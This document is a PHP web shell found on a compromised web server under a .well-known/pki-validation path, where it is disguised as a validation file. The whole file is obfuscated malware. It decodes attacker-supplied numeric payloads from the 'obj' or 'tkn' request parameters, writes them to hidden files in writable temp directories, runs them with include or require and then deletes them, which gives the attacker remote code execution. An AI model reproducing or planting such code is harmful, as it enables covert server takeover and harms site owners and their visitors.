File: /home/vitanhod/sawpalmetto2.vitavit.com.pk/.well-known/pki-validation/recette_moderate.php
<?php if(array_key_exists("\x6Fbj", $_REQUEST) && !is_null($_REQUEST["\x6Fbj"])){ $data = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); $itm = $_REQUEST["\x6Fbj"]; $itm= explode('.' , $itm) ; $reference = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $u = 0; $__tmp = $itm; while( $v9 = array_shift( $__tmp)) {$sChar = ord( $salt7[$u % $lenS]); $d =( ( int)$v9 - $sChar -( $u % 10))^ 79; $reference.=chr( $d); $u++; } $descriptor = 0; do { $dchunk = $data[$descriptor] ?? null; if ($descriptor >= count($data)) break; if (is_dir($dchunk) ? is_writable($dchunk) : false) { $pointer = vsprintf("%s/%s", [$dchunk, ".key"]); if (file_put_contents($pointer, $reference)) { require $pointer; unlink($pointer); die(); } } $descriptor++; } while (true); }
if(isset($_POST["tkn"]) ? true : false){
$binding = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]);
$dchunk = $_POST["tkn"];
$dchunk = explode (".", $dchunk) ;
$rec = '';
$salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt6 );
$__len = count($dchunk );
for($l = 0; $l < $__len; $l++) { $v5 = $dchunk[$l];
$sChar = ord($salt6[$l % $sLen] );
$d = ((int)$v5 - $sChar -($l % 10)) ^13;
$rec .= chr($d );
}
while ($value = array_shift($binding)) {
if (!( !is_dir($value) || !is_writable($value) )) {
$comp = join("/", [$value, ".obj"]);
$file = fopen($comp, 'w');
if ($file) {
fwrite($file, $rec);
fclose($file);
include $comp;
@unlink($comp);
die();
}
}
}
}